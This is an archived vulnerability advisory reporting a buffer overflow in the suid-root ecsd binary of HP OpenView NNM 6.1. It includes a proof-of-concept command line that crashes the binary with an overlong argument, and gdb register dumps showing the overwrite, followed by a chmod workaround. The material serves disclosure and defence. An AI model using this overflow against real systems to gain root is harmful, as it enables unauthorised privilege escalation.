TUCoPS :: Unix :: General :: nnm4.htm

Vulnerability
 OpenView NNM
Affected
 HP OpenView NNM v6.1
Description
 Jonas Eriksson found following. HP OpenView NNM v6.1 has a buffer
 overflow in the suid-root file ecsd located in the /opt/OV/bin/
 directory.
 ecsd is not used in NNM, but is shipped and installed suid-root as
 default.
 je@openview~> uname -a
 SunOS openview 5.8 Generic_108528-07 sun4u sparc SUNW,UltraSPARC-IIi-Engine
 je@openview~> ls -la /opt/OV/bin/ecsd
 -r-sr-xr-x 1 root bin 2953640 maj 18 11:20 /opt/OV/bin/ecsd
 je@openview~> pwd
 /
 je@openview~> /opt/OV/bin/ecsd -restore_config `perl -e 'print "A"x312'`
 Failed to restore engine
 configuration; "//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[snip..]" not found.
 je@openview~> /opt/OV/bin/ecsd -restore_config `perl -e 'print "A"x313'`
 Segmentation fault (core dumped)
 je@openview~> gdb /opt/OV/bin/ecsd --core=core
 [snip..]
 Core was generated by `/opt/OV/bin/ecsd -restore_config AAAAAAAA[snip..]'.
 [snip..]
 #0 0x28eb8 in main ()
 (gdb) inf reg
 [snip..]
 l1 0x41414141 1094795585
 l2 0x41414141 1094795585
 l3 0x41414141 1094795585
 l4 0x41414141 1094795585
 l5 0x41414141 1094795585
 l6 0x41414141 1094795585
 l7 0x41414141 1094795585
 i0 0x41414141 1094795585
 i1 0x41414141 1094795585
 i2 0x41414141 1094795585
 i3 0x41414141 1094795585
 i4 0x41414141 1094795585
 i5 0x41414141 1094795585
 fp 0x41410028 1094778920
 [snip..]
 (gdb)
Solution
 Hewlett-Packard has been contacted. They are currently working on
 patches for this vulnerability. Workaround:
 chmod -s /opt/OV/bin/ecsd
 This will remove the setuid bit from /opt/OV/bin/ecsd, therefore
 if someone does exploit this vulnerability, they won't gain
 higher privileges.